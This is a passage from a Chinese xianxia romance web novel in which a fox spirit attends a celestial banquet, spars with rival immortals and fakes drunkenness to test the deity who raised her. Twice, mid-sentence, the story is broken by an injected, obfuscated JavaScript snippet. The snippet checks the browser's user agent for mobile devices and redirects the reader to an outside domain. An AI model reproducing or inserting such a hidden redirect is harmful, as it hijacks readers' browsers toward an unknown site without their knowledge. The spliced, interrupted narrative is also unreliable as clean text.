如今寒池要为她撑腰,只觉得卸下了千斤重担,又是感动又是愧疚,忍不住小嘴一扁,又酣畅淋漓的大哭起来。 寒池:...... 不得不说,确实很吵。 离寒池的雪斋往南再往东的左手向右拐,就是烟波的轻然居。 这是他为她安排的居所,屋子幽静别致,屋檐四角各坠一只银色风铃,周围被花草包围,只留一条流云小路供人进出。 寒池立在路中央,闭上眼睛。一阵风动,四角的风铃叮叮当当响了起来。两边树木沙沙作响,沉默的向他致意。 “你们可曾看到她?”他无声的问询。 风改了方向,将树叶吹送上月亮,寒池跟着看去,有个纤细的身影仰面躺在屋顶上。 烟波双手枕在脑后,双脚交叉搭着,翘高的一只脚一晃一晃的,穿着天衣静静望着月亮,不知在想些什么。 她的头发没挽,长长的乌发披散下来,拂在露出半截的雪白小臂上,随着风轻轻摆动。 风安静了下来,寒池举首看她,后知后觉的发现,她不说话时,还是怪能唬人的。 与她的两次见面都闹得不得安生,她做派轻佻,谎话连篇,一开口便是夹枪带棒,叫人难辨善恶,原来在角落里也会这样看着月亮,被月光照出一点寂寥。 波波还没哭完,见上神只静静看着,忍不住一边小声抽噎着一边问道:“上神,不叫她下来吗?” 寒池看了一会儿,转身道:“狐狸有拜月的习俗,她会回来的。” 檐下的二位神仙已经走远,烟波才轻轻哼起歌来。 看来小果子精没什么传话以外的能耐,自己在境中的一举一动,都在这上神的掌握之中。可即便这样,他也不肯放下心来。 她分明提了三个条件,寒池看似立刻就实现了其中两条,但实际上,一身天衣,又有什么要紧的呢? 即便带她赴宴,也不会脱离他的控制范围。 若他真心相待,也不会将自由出入等闲境的方法绝口不提。 他将她困在此处,不准她踏出一步,竟要囚住了她。 这久违的恐惧感觉包裹住烟波,她强逼着自己冷静下来计较。 她不是不识抬举,只是非亲非故还能倒贴上来的好东西,真正的价钱实在太贵。 他若是想找人当替死鬼或是帮他干脏活儿的倒霉蛋,这等闲境里的果子精和仙鹤们都能胜任,还不用他费劲刨坟,说明她本身定有无可取代之处。 烟波的脑海中登时跳出“御炎珠”三字,又自嘲的摇了摇头。 随即又蹦出来两个字,叫她的目光顿时冷却。 所幸她做了防范,这珠子也早已不在她手。 思来想去,听闻神仙活得太长,闲着没事干就爱下凡找苦吃,兴许自己欠了他哪个前世的情债,这才被他逮上天来,要被狠狠地报复折磨以及解心头之恨。 合理,太合理了。 烟波越想越合理,越合理越觉得完蛋,打定主意等开宴便要找机会开溜。 第二日开宴,烟波身为一名不会法术的仙界新秀,只得光荣的蹭寒池的仙鹤代步。 她与寒池一人坐了一只,余下七只分别在她的前后左右护着,俨然是一个密不透风,找不到可脱身的空隙。 一路皆在云间高低穿行,云烟如山如林,更如望不见尽头的汪洋,在烟波袖下翻滚奔流,尤其烟波如今飞升,视觉比以前提升千倍,更感蔚然之态。 仙鹤们带着烟波越飞越高,她的心也越坠越深,直至此时,她才终于看到了等闲境全貌。 原来这等闲境位于仙界东方突出的一个角上,在这恣意的云海群山中只占小小一隅,那些境中的雪白神木,正如美人簪上的明珠,立在山尖上散着粼粼辉光。 汪洋之中隐约可见青山绿水,飞鸟渡船,清风吹开了云海一角,揭出宫殿顶上的瓦片来。 烟波冲寒池问道:“下面便是凡间了吗?” “下面是五重天所在,天分九重,我们要去往那六重天之上。” 烟波更不敢乱动了。 寒池的行云陡升过一层天,转眼便到了桂山仙翁宴请众仙的泠溪。 这一路越攀越高,行到后面,烟波再望下界万物已为芥子,如临千万丈深渊,若此时装作被仙鹤甩下去,她就能立刻回坟头报到了。 烟波不敢再看,默默吞了口口水,决定先老实一会儿,不做他想。 九只白鹤将烟波放下,再展羽翅便化作九个十六七岁的清秀少年,走起路来如跳舞一般轻盈优雅。 领头的抹额上镶嵌了一颗殷红的宝石,想必就是那只口吐柬贴的丹顶鹤了。 听寒池唤他作“黄钟”,烟波不禁插嘴:“听凤皇之鸣,以别十二律?” 这是凡间《吕氏春秋·仲夏纪》中的话。寒池颇有些意外,侧头看她。 “看来只消照着十二律点名,便能将九位都点到了。”她笑盈盈的对各少年道。 她暗自腹诽,只有九个人,却按十二律分配名字,这风格一定是寒池的手笔,难怪能取出“波波”这个省事名字。 仙鹤少年们听烟波提及他们,纷纷得意的晃了晃头顶的羽毛。 他们虽能化人形,但心智未开,更习惯作鹤,将烟波送下后,化为仙鹤四散而去。 仙鹤飞过之处,一时泛起金光,接着飞花满天,香气扑鼻,两位仙子驾云手持如意而来。 二仙齐齐行礼道:“恭喜上神出关,肯赏光赴宴。” 右边的仙娥又道:“二位请随我们来。”二仙眼神略略扫过烟波,向她微笑致意。 由两位仙娥指引,一路上天际鸾鸟如流星划过,时不时便有香花宝兽,瑞音仙乐,眼花缭乱的祥瑞层出不穷。 烟波原还有赞叹的兴致,直到看了一路终于麻木,只觉得各位大神自带的夫人孩子徒弟童子随侍坐骑神兽,真是乌泱乌泱的好多人。 见两只白头红尾的鹿属拉着一辆香车从远处缓缓而来,仙娥终于停下行云。 香车缀满璎珞美石,发出振玉之声,那鹿属低鸣轻呦,竟似袅袅歌声。烟波以前只在传说里听过此神兽,没想到有朝一日能亲眼所见。 一须发并白的仙翁从车上下来,正是东道主桂山仙翁,他与寒池各自见礼,接着抚着胡须看向烟波:“这位就是?” 见寒池点头,仙翁叹道:“听闻这位仙子独得上神青眼,老朽好奇已久,今日一见,果然不同凡响。” 寒池含笑着说了几句客套话,就被相继出席的神仙插进话来,无一例外在言语中都谈及了点化一事,更是难掩目光里对柳烟波异常的热情。 几番寒暄下来,她的手上竟也塞了几份见面礼。 不对劲。 这九重天最不缺的就是仙才,怎会将一个只能笼统被称呼为“神女”的新晋末等神仙稀罕至此? 这问题不是出在寒池身上,便是出在她身上。 烟波心生疑窦,默默在心底问候亲娘,她那未曾谋面的野爹不会是九重天上的什么大人物吧? 她不动声色,仍在寒池身后亦步亦趋,除了被主动搭话,一律闭口不言。 待到入席就坐,就看到方才迎接他们的两位仙娥,已换了衣裳打扮端坐在席首,此时一派持重气度,全然不似方才的小仙子模样。 烟波这才得知,她们并非普通仙娥,而是仙翁的两个女儿。 她本还好奇,堂堂两位女主人何必扮作迎宾仙娥,只略略在这席间一坐,便得出了答案。 这席上的诸神虽极力按捺,可数十道目光状若不经意的在她身上飞过,视线交织成绳结和灯烛,将她紧绑在席上以强光照射,宛如拷打逼供。 而这目光背后的意味,她更是熟悉不过。 ——那是好奇与不解糅杂的暧昧。 烟波余光扫过身旁的寒池,好似无知无觉。 与人间的宴席一样,这仙家宴也喜爱以丝竹之声伴奏以衬气氛,待众仙都入了席,一阵叮叮咚咚的琴声传来,似有人在拨动琴弦。 而这悠扬琴声却不出自一人之手,竟直接来自泠溪水。 这溪水底部布满音石,水流声顺流而下,自成清澈仙乐。 烟波侧耳听得入迷,忽然听出有金玉相振之声加入了这流水仙乐,仿佛人间的编钟敲击,又似早春的碎冰漂浮,形成一曲她从未听过的美妙合奏。 她循声望去,一朵朵莲花漂流在水上,花下的莲叶相触,击成音调。 见诸仙纷纷从溪中取 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话音刚落,盏上的压力登时撤去,酒盏随之失去平衡,只听“叮”的一声,酒水又溢出小半洒在桌上。 ......他有病吧。烟波在心中叫骂。 见寒池碰到烟波的手,席上又是一阵眼神乱飞,众神众仙用激烈的眼神碰撞表达着无声的惊呼,在无数四目交汇的电光火石间,是从未有过的心有灵犀。 烟波顶着一片火辣辣的目光抬起头来,将莲盏直直举到他眼前:“别装瞎。” 寒池回以莞尔一笑:“别贪杯,浅尝辄止即可。” 烟波暗暗冷笑,再不理他,自暴自弃的痛饮起来。 这酒水入口清冽甘甜,伴着火辣辣的回味悠长,莲子被酒水浸了滋味,嚼着苦中带甜,十分提神。 烟波第一次吃这样的酒,忍不住一手喝酒,一手莲子,感觉滋味更加玄妙。 此时寒池有事离席,没他镇着,那些目光更加无所顾忌的落在烟波身上。 拜白玄那日在雷部火府请来各路人马会审所赐,“柳烟波”三个字在九重天不说是名镇一方,也是如雷贯耳,虽无一分功绩,甚至连面都不曾露过,但她的名字和风流艳史早已响彻了九重天。 这只狐狸精不但有一步登天的机缘,还有十余位对她念念不忘的美男子,更因她搭进去两位神君。 一位是寒池自不必说,亲眼目睹其旧情郎轮番登场后依然力保她的仙途,丝毫不顾自己的声名受累,险些因她获罪; 一位便是那白玄,堂堂真神血脉揭发柳烟波不成,还牵出一段自身大罪,原本身上的职位名号也被尽数撸去,如今正凄风苦雨的看守死海呢。 至此,柳烟波已成一段传奇。 因而风闻寒池要赴仙翁的宴,桂山仙翁的泠溪小宴登时变得一帖难求,众仙一传十十传百的拖家带口而来,最后竟将个小宴凑出了大宴的规模。 当日堂上,寒池的点化之语深得长生大帝赞赏,不少神君也信了寒池冠冕堂皇的说辞,可今日一见,这狐狸比传闻中还要貌美,又见寒池连她喝口酒都要担心不已的样子,谁要再信他,那必定是个瞎子! 只怕寒池要报柳烟波凡间的恩情,就是一日夫妻的百日恩了。 堂堂的等闲境上神,就这么栽在狐狸精手里了! 烟波早已将这席上的目光视若无物,甚至有心思计个总数,有一道目光夹杂其中,与那些异常炽热的视线相比,显得冰冷刺骨,格外的与众不同。 烟波循着视线转身,那目光的主人似有所感,登时避开了。 她环顾四周没看见寒池,正打算借口尿遁,忽的想起自己已是仙身,连排泄都省了,转念一想,管他鸟事! 她目不斜视的起身离席,才走了两步,就被不知从哪冒出来的白鹤少年们拦下,为首的那只彬彬有礼问道:“神女不舒服吗?” “......我喝酒头痛,要出去醒酒。”对待美貌少年,烟波从没这么恶声恶气过。 黄钟迎上一步,掏出一株仙草:“神女闻闻这个便好了,上神要我们照顾好你。” “我就想出去走走也不行?” 几只仙鹤对视一番,笑嘻嘻道:“那可太好了,我们也想出去玩,神女要去哪里,我们一起!” 这几群呆鹤和那个小果子精一样,不但全都是讲不通道理的鬼才,还人多势众,甩开一只还有八只,简直就是故意给她捣乱添堵的。 几番拉扯,她败下阵来,骂骂咧咧的坐了回去。 8. 八卦现场 寒池回席的第一件事,便是收走烟波手中的莲盏。 烟波腹诽这厮消息灵通,到处都是他的耳报神,冷冷道:“若不能喝酒,便快些上菜来!” 寒池做了个手势,让她注意眼前。 烟波一一扫过桌上的素菜素果素汤,当终于理解了他的意思,忍不住失声道:“就这些?” 他暗道这狐妖没有一丁点做神仙的品格,几不可闻的叹了口气。 伸手一挥,几颗闪着金光的丹丸便从不远处的大盘落在烟波面前,在她的高足玉碗中滴溜溜的打转。 “这是出自荆山的灵素金丹,无数天材地宝才可炼出一颗,今日你运道好,赶上桂山仙翁开宴,足够填胃口了。” 烟波将玉碗推到一边,没好气道:“丹药又不好吃,你们神仙请客不做肉么?” 好一个不识好歹的野狐狸。 寒池满心的悠然已被烟波败坏干净,语气中透出淡淡的厌倦:“这里是九重天,不吃烟火食。” 柳烟波像被雷又劈了一次,这是她五百年来听过最心寒的话。第一次有了想哭的冲动,不光想哭,还想发狂发疯发癫! 五百年!她已经有五百年没吃过肉了! 寒池生来便是神树之躯,不理解烟波对荤腥的感情,第一次见她露出如此颓萎的神情,还仅仅是为了一口肉,简直百思不得其解。 昨日在屋顶上望着月亮的怅然身影忽然与眼前的她重叠在一起,心中不由得有所触动,思忖片刻,才试探道:“你......想吃荤腥?” 一炷香的功夫后,烟波对着桌上一盘黑色果子发起了呆。 摘来果子的仙鹤太簇一边翘首以盼她的夸奖,一边献宝似的介绍道: “这是帝休果,仙书上说吃起来有凡间的牛肉味儿哩!” 烟波冷笑,这寒池偏挑这个时候离席,不是故意的便有鬼了!但对上太簇亮晶晶的眼睛,她还是自暴自弃地咬了口果肉。 太簇好奇极了:“怎么样怎么样!” 烟波正色道:“你吃过牛肉吗?” 太簇摇摇头。 果然,她同这群没品味的神仙真是没话好讲。 烟波叹了口气:“这果子与牛肉的关系,还不如你我之间亲近。” 此话太复杂,太簇的脑子理解不了。 烟波恨铁不成钢,将帝休果一把塞回他手里:“吃点好的吧!” 宴席过半,有些不胜酒力的神君纷纷告辞,唯恐多留此处失了仪态。只有个叫夔元的神君鬓发散乱,丝毫不顾神仙派头,手持莲盏摇摇晃晃,酒水洒了一身,嚷着要来给新来的小神女贺礼。 在席上烟波只与寒池说话,众仙也不便上去搭话,见这西海三太子横冲直撞而来,都吃了一惊。 烟波连忙起身,认出这位在席上与寒池说了不少话,看来关系匪浅,也有意从他口中探寻一二。 还未等她开口,这西海三太子已冲着她滔滔不绝起来,可惜已醉的口齿不清,烟波勉强在十句里听懂了三句半,三句半中还净是些烟波长得像他小姑母之类的废话。 他说到兴起之处,甚至手舞足蹈起来,连拍烟波肩头三下。 寒池闪身将烟波挡在身侧,此时夔元已一屁股坐在地上,只顾着傻笑了。 寒池见怪不怪,一拂袖已将夔元席上的物件一扫而空,卷巴卷巴连他带东西一同打包塞进香车里。 好不容易将他塞进去了,那神君不巧又醒了,嚷嚷着扇子没了要找扇子,一堆随侍被夔元招呼的团团转,直到从他自己身上翻出来了才算万事大吉。 太子随侍似乎也早已习惯了这种场面,笑嘻嘻的给寒池行了礼才上了云头,三只拉车的飞鱼挥动着纱幔般的鱼鳍和长尾,扬长而去。 出了这么一场闹剧,烟波再次成为了宴席的焦点,一双双注视她的眼睛中,那双冰冷的目光更加强烈,并且能感觉到,它愈发的近了。 “上神好不容易出关,下次可一定要吃我家的席面。” 烟波闻声找去,只见两位女仙相携而来。两道身影一绿一金,如同传闻中的娥皇女英,一位如新春的柳枝,一位似高峰上的冰雪。 “飞霁仙子。”寒池颔首,对说话的绿衫仙子还礼。 飞霁仙子有双月牙眼,冲寒池笑起来更显得明媚可人。 她身侧的金衣女仙神色清冷,两道峨眉间饰有一块含着莹蓝的白色冰晶花钿,符合所有凡间话本对仙女的描述,叫人难以移开目光,见到寒池,只是平淡的打了招呼,便闭口不发一言。 那道冰冷的视线,就在她两人之中。 烟波整好以暇,束手退到寒池身后。 飞霁本与寒池说话,见烟波动作,连忙拉住她的手将她领了出来,嗔怪道: “从来都知道仙缘可遇不可求,连我也没有这个福气,束我眼拙,看不出她是哪点博得上神青眼,才肯破例点化呢?” “王女说笑了。”一旁的金衣女仙冷淡道:“白民国的王女降世即神体,不需点化。” 飞霁干笑两声:“少台上仙莫笑,我实在好奇才问的,难道你不是吗?” “我?”金衣女仙面无表情,轻飘飘的送出一句话:“我确实同你一样,是为看等闲境的热闹才来的。” 随着她这句话出,满场瞬间鸦雀无声。 这仙女可真直啊......烟波默默感慨。 在场众仙心中皆如少台所想,但碍于涵养面子,谁也不好直说,没想到被她一句话直接戳破了,也不知道这涂山的上仙是否与白民国有仇,偏要让她下不来台。 可这更是驳了寒池的颜面,但看寒池丝毫不恼,一脸置身事外的表情,他们拿不准这位上神心思,不知该作何反应,只得各自面上客气的撑住嘴角,心中默默装死。 飞霁懊悔不已,怎么当时就想着拉这涂山氏的战神过来壮胆呢? 她身为白民国的王女、未来的白民国主,身份尊贵,不说在国内,在九重天各仙家对她都很和气,没料到少台竟会第一个为难她,一时想不出该说什么。 满场无言,显得泠溪的琴声格外清晰。 “姐姐......”见场面尴尬,少台身旁的小仙娥只好拽住她袖子,拼命使眼色提醒。 少台素来直来直往,方才飞霁一开口,少台便听出她语气不善,察觉自己平白被她拉来当了筏子,莫名其妙和她成了一伙,心中有气。 她最不耐烦九重天这些弯弯绕绕,不愿同她一道掺和,这才开口驳斥。 见身旁小仙娥的眼睛都要瞪抽筋了,心中更感无语,她偏不愿惯着这些人的心眼子,乐得见他们自作自受。 想到此处,她将目光移开,硬不与这小仙娥的眼光对上,只理所应当的站着,仿佛浑然不知自己说了什么。 “‘相看陌路同,论心秋月皎’。原来上仙和我想的一样,只不过,我是为了看仙家宴席的热闹才来的,听上仙这么说,我终于可安心了。” 一女子的声音如云出岫,悠悠的打破了这片安静,轻巧的圆了场去。 众仙循声找去,竟是柳烟波。 “你方才念的......是什么诗?我竟从未听过。”少台有所触动,不禁向烟波多看两眼。 烟波的吐字平稳柔缓,一字一句的娓娓道来: “这是凡间的一首论述佛理的小诗,我才疏学浅,方才听到上仙与我的心迹相似,一时激动就脱口而出了。 现在细想,不该将这诗用在此处作比,实在是冒犯了佛祖。” 说到最后,她双手合十,螓首低垂,既虔诚又惭愧。 寒池见少台与飞霁二仙皆若有所思,微微一笑:“看来,烟波神女已自行解答了仙子的疑问,无需我再画蛇添足了。” 烟波冷眼瞟他,这时候才发现自己鼻子下面长了个嘴是吧。 少台赞许的点头附和。 飞霁行为失矩,是她自愿出丑,这小神女本可以冷眼旁观,最终还是顾全大局为她圆场解围,心胸宽大,能得她一眼高看。 这是烟波今日在席间主动说的第一句话,引得各仙君纷纷侧目。本以为这狐狸纯纯以色惑人,是个粗野浅薄的草包,没想到开口还懂两分佛理,更通世故。 众仙对柳烟波的期望太低,如今一语,倒衬出些一鸣惊人的味儿了。 烟波感受到身上的眼神变化,暗暗发笑,仅仅吟一句诗,就能得众神仙高看一眼,也是够臊人的。 飞霁见诸神反应,抚掌强笑道:“正巧了,少台上仙亦是涂山氏的九尾白狐一脉,听闻神女出自人间狐族。 人间狐族有胡、黄、白三大姓,分别出自赤狐、白狐二系,不知神女是何姓何系,说不定与少台上仙也有血脉渊源。” 烟波摇头:“我的姓氏不在这三大姓之中,单姓一个“柳”字,既非赤色,也非白色,原身是随处可见的杂色而已。” “难怪。”飞霁轻松不少,叹道:“同为狐族,无名无姓与上古涂山氏有天壤之别,神女自比为上仙,不失为一种亲近的办法,以后也可借涂山氏的余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332623|183308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荫方便行事。” 随后话锋一转,眼波随之流转:“今日仓促,没来得及准备见面礼,只有一句谏言赠与神女,聊做薄礼。 无论如何曲意逢迎,在九重天最终还是要以真本事取胜,谁又能靠攀附谁得以长久呢?” 那道冰冷的目光来自谁,自然是不言而喻了。 飞霁的意思再明白不过,在场众仙没想到,少台的“看热闹”已是够直白,这飞霁仙子说起话来竟是更胜一筹。 话说的够直接,也就不体面了。 这王女兼仙子的身份是高贵,但顶着这个身份说话,更不该失了格局气度。偏偏还要选在众目睽睽下,真是生怕自己不献丑啊。 烟波却闭口不言,只冲着寒池似笑非笑的瞧个不停。 这就是这位高高在上的上神引以为傲的九重天,所谓天上的仙子,行为做派与凡间的尖酸刁钻之流也并无二致。 她可不打算在这仙界讨生活,方才替那上仙圆场,只为了赞一赞少台那股满不在乎的劲儿,至于这位仙子,她就不接茬了,只等着飞霁丑态百出,这才是她想看的九重天鬼热闹。 见柳烟波仰起头紧盯着寒池,众仙也顺着她的目光看去,心中所想却与寒池碰到了一块去,看来,这狐狸精是在求寒池给她做主啊。 飞霁看烟波与寒池二人对视,简直要咬碎了牙,这个狐媚子,自己一丁点的本事没有,耍娇的手段倒是一套套的。 被她教训脸上却丝毫不见惭愧之色,摆明是炫耀自己有寒池当靠山,也不看看这是什么场合,竟还光明正大的抛起了媚眼。 少台见烟波踟蹰不语,知道她初来乍到,不敢轻易得罪飞霁,可是斜眼见这寒池在侧,亦是不发一言,转而道: “上神,你需好好解释,倘若神女真将刚才的话听了进去,误解了你点化的好意,美谈都要变烂事。” 寒池不以为然:“若她不能分辨是非,我也不必点化了。” 转而拾起一朵莲盏,向飞霁致意: “寒池比柳神女的状况还差些,既无姓氏,也无来历,全凭修为二字立身。因此对仙子所言的‘能力’深以为然,为这句金言,愿敬仙子一杯。” 九重天上下皆知,寒池上神无父无母,乃是一颗长在东方姑射山顶的玗琪神木,承了天地日月之精与神灵之华,才得以被句芒真神点化。这是寒池第二次以自身作比为柳烟波辩驳,足可见份量。 飞霁没想到她贬辱烟波的话竟能得寒池赏识,心中得意,顿时两颊羞红,喜不自胜的回敬寒池一杯。 只是莲盏还未下唇边,就听寒池道: “刚才那杯酒,也算是我的赔罪。虽不知烟波何时得罪了仙子,但她初来乍到,必有不周之处,引得仙子不满也是我的过失。仙子既收了我的赔罪,请当原谅了她,可好?” 飞霁脸上唰的一下血色全无,连连摆手道:“上神别折煞我了,我、我不是这个意思!” 烟波颇为意外的看了寒池一眼,烟波哪里会让她再多话,做恍然大悟状不住的道歉,姿态极为谦卑:“多谢仙子海涵!若非仙子提点,我竟不知自己已闯下大祸。往后我定当一刻不离寒池上神左右,尽心修炼。” 九重天诸仙心中通达,是白民王女自视甚高,有意不痛不痒的讥讽新神女两句,偏偏寒池轻拿重放的赔罪,显得飞霁不明事理,小事都变作大事,令众仙看待烟波的眼神更加复杂了。 飞霁看这狐狸忙不迭地道歉,显然又拱了一把火,故意让她下不来台。 她脸上红一阵白一阵的,眼中含火,胸口起伏不定,正想揪住烟波好好骂一骂她的猖狂,可瞥见寒池深如幽潭的眸子,硬是憋得一句话也说不出了。 她是何等的天之骄女,何曾受过如此委屈,只得暂且记下,狠狠的瞪了烟波一眼,含糊了两句便找借口离席了。 飞霁一离席,众仙也乘兴而去,显然收获颇丰,往后的日子又有了新八卦。 少台上仙带着仙娥向寒池告辞,冲烟波点点头,勉励她道: “今天的热闹很好看。总听说上神苦恋不得,才将你点化上来,现在可知传言不可信。想必今日过后,这些话自会散干净。” 她本以为柳烟波是寒池下界新收服的妖兽,毕竟他的紫府飞禽走兽俱全,与百兽园也无什么分别。见寒池方才回护,看来这位不是当坐骑的形容,是要当寒池的第一号高徒了。 听到这话,寒池与烟波脸色俱是一变。 那上仙却不等他二人解释,径直上了云端。 9. 勾引 自回程起,气氛便变得微妙了起来。 烟波在后抱着鹤颈,寒池在前独自坐着行云,二人一路无言。 行至半路,一声凄厉的鹤唳划破长空。寒池回头,正看到仙鹤几欲发狂,忽上忽下止不住的窜动。 左后护行的八鹤见此情形,也惊慌失措起来,半空满是它们挣落的白羽。 而烟波全然把不住鹤头,眼见着就要跌落云端。 寒池抢身上前将她揽来,烟波站立不稳,一上行云便被自己的裙角绊了一脚,险些又要翻下。 “小心。”寒池急忙拉住她,烟波一头栽入寒池怀中,鼻息间沁满了他胸口带着温度的木香。 “你……没事么?”寒池被扑得浑身僵硬,却不得不虚扶在她腰间,护着她不再摔下去。 烟波眼神涣散,似乎还未从刚才的惊吓中缓过神来。 寒池见她并无大碍,将她扶在身侧,一手拿出竹笛想唤回仙鹤,仙鹤躁动不听笛声,他只得叫黄钟换了人形前去压制,与烟波先行一步。 而此时,怀中的女体渐渐起了变化,变得柔软无比,似乎全心全意贴合在他身上的每一寸,在他的臂弯化作一泓温流。 仿佛是一个拥抱母亲的婴儿,全身心的依赖着他,恳求着呵护。 她新月似的眉毛蹙的更弯,绯红的脸颊搭在寒池的肩上轻蹭,要为自己的难受找个可排解的去处。 原来那眼神不是受了惊吓,而是吃醉了? “上神,刚才是蕤宾出的事。”黄钟追了上来,他迟疑道:“他......像是喝醉了,身上能闻到酒气。” “它哪里会喝酒。”寒池眉头微拢。 黄钟道:“它们几个见了席上的酒,问神女好不好喝,神女说比凡间的酒还香些,但不会醉人,便和它们一起吃了几杯。” 一绺女人的长发被吹到寒池臂上,顺着发丝往上,寒池猝不及防的撞入烟波的琥珀色眼睛里,她长长的睫毛被眼中的水汽氤氲,湿漉漉的。 他试探性的叫了两声烟波的名字,她怔怔的答了,还盯着他嘟囔着: “你心虚了,是不是?”这酒仿佛将她的声音浸透了。 这柳烟波在走前还能振振有词的和飞霁说话,可未见她有一丝醉态。 寒池问黄钟:“什么时候喝的?” 黄钟摇头:“记不清了。刚才起飞的时候他们几个就有些不稳,我觉得奇怪,却也没在意。” 席上的香雪酒出自寒池之手,他自知这酒确实后劲颇大,过段时间再发作也是寻常之事,大概他们是趁着自己离席之际偷喝的。 待柳烟波醒了,得和她好好说说,下次不得给他们喝酒。 又一股酒气混着幽香袭来,他一低头,险些擦过怀中女子的唇瓣。 寒池这才意识到,在刚刚出神的功夫,他们之间的距离已变得太近。 “你醉了。” 寒池将她的脸拨转到自己的反方向,原来女人的脸,是这么软的。 烟波半睁半闭着眼,也不答话,只蹙眉老实的枕在寒池肩上,吹乱的鬓发落在她的嘴角眉梢瘙痒,惹得她时不时发出两声娇哼。 他不得不减慢了行云。 烟波被风吹了一路,似乎清醒不少,见眼前便是等闲境,当即甩开寒池的手,歪歪斜斜的往前走。 寒池只得跟在她后面走着,看她的裙衫左右摇摆,似失了枝的叶子,行到半路终于支撑不住,扶着树干便滑了下去,跌落花丛中。 满头乌丝如流水般倾散流淌,花瓣簌簌而下,落在口鼻上,她嗤嗤一笑,犹以为乐。 种了三百年的玉靥巾带,就被这柳烟波胡乱糟蹋了。 寒池看着伤眼,广袖一振,烟波整个人拔地而起,卷起一地落红,引得她一声惊呼。 他不是一个没有耐心的人,但看着一片塌陷颓败的玉靥巾带,只想把柳烟波直接甩回轻然居。 地下的美人醉眼朦胧,慵懒的倚在丛中,全然不知发生了什么。 白齿红唇与绯色蕊瓣交映生辉,白玉般的脸庞也似变作了其中一瓣,容颜秾丽无比,将身后乱七八糟的花枝也衬作了妖靡的背景。 神祇动作微滞,沉默的伸臂捞起花中美人。 美人被拥在怀中,不自将双臂勾紧了他,嘴里却不老实,不住喃喃道:“你后悔了吗?” “什么。”寒池摘去她鬓边的一片花瓣。 “后悔带我出去,被他们笑话。” 见他不答,她又说:“其实...我也想在那出个大丑,好让你觉得丢脸别再管我,可看他们的眼神,我还是想给你争口气。” “没有谁要笑话你,不用理睬。” “嗯,不管他们,那...你有在心里偷偷笑我吗?” 这就是所谓的酒后吐真言吗? 寒池从没听过烟波这样示弱,几回交手下来,她只要在能看得见的地方,即便处于下风,也要张牙舞爪。 他想了想,道了声“没有。” “唉……其实,你人不错。” 寒池静静听着。 “可惜没有意思。”说着烟波忽的睁开眼睛,勾起身子凑近寒池耳边轻吹一口气,那嫣红水嫩的唇笑道: “你闻,我醉了么?” 那气如挟了兰花而来的香风,轻轻一缕,只吹得寒池耳朵酥麻,心头一荡。 随即耳际若有似无的一点温热。 寒池冷下神色:“别胡闹。” 烟波被他吓得一颤,嗔道:“我给你簪花,你还凶我,好没良心。” 他微微一愣,果然从耳边摘下一支玉靥巾带,绯白的花朵与怀中她的粉面叠在一处,叫人分不清楚。 寒池背光而立,神情朦胧,烟波只能看到他垂下的睫毛在轻颤,她喝过烈酒的双颊如盛开的桃花,小声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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见她似要开口说什么,寒池柔声道:“原来,你这般在意我。” “......”品出他话间的深意,烟波知道这戏算是彻底拆穿完了。 寒池这话将她架的是进退两难,躺在他怀中也成了如坐针毡,她暗自咬牙,决定先按装醉糊弄过去再说。 寒池看着怀中紧闭双眼的狐狸,莞尔一笑,笑容似未解冻的春水,似将入冬的清风,痛快的松开了手。 只听“砰”的一声,伴随着女子的惨叫,有什么东西被重重摔在地上,惊起一串飞鹭。 既然喜欢醉,那即便被摔得惊天动地,也不能叫出一声痛,否则怎么像个酒中仙? 10. 伪君子 烟波再次醒来,眼前还是轻然居的屋顶。 “你醒啦。”波波端着药进来,正看到她挣扎着下床,连忙放下木盘去拦她。 “我是怎么回来的?”烟波看着波波为她掖好被角,燃起一丝侥幸。 “你醉晕过去了,是黄钟他们把你背回来的,说你身体没好,受不了香雪酒的酒劲才会这样的。” “你们上神呢?”烟波长舒一口气,双手抚上绯红的脸颊。稍一移动,脊椎便剧痛起来,叫她倒抽一口凉气。 她一边咬牙切齿的揉着,一边心虚的复盘了一遍自己所做种种。 在宴上端看众仙和飞霁仙子那些刺眼的目光和反应,已让她对寒池顾虑更甚,那种八卦和暧昧的神情,十有八九在外界看来,她已被视为寒池的爱宠。 而寒池却视若无睹,显然他也在故意隐瞒,心思并不清白。 少台上仙临走时留下的一句“爱而不得”,更是一锤定音的定了性,“禁脔”二字简直要糊到她脸上。 她见逃走无望,本想略施小计稍加引诱,当面戳穿他的假面目叫他无法抵赖,再也装不出大义凛然的模样; 倘若他真无此意,那自己只装作醉倒,醒来就当无事发生,皆大欢喜谁也不尴尬。 烟波计划的极好,谁想到寒池忒不留情,非但试探不出,反而连累了自己的尾巴骨,他当谁都有荣幸受她的美人计吗? 天杀的,这王八蛋放手放的可真狠呐。 她摸完作痛的尾巴骨,又开始摸酸疼的后背。那芍药似的花看着娇娇软软,跌进去可把她扎成了个刺猬,偏她还得摆出一副酒酣身热的松软姿态,憋在心中龇牙咧嘴,已用尽她十分力气。 见波波摇头,她恨声追问道:“他没说我是怎么伤成这样的?” “上神说,是神女喝的太醉,一脚踩空云头摔下去了。”波波眨巴眨巴着眼。 呵呵!这伪君子!分明他是故意把她扔到地上的。 烟波披了衣服要下床找寒池理论,波波见烟波又要走,连忙拉住她,非让她把药喝了才准去。 烟波摸着尾巴骨,心道养生要紧,端着药碗一饮而尽,却差点全吐了出来。这药怎么比之前更苦了? 然而她拖着身子好不容易找到寒池的雪斋,却连半个人影也没见着。 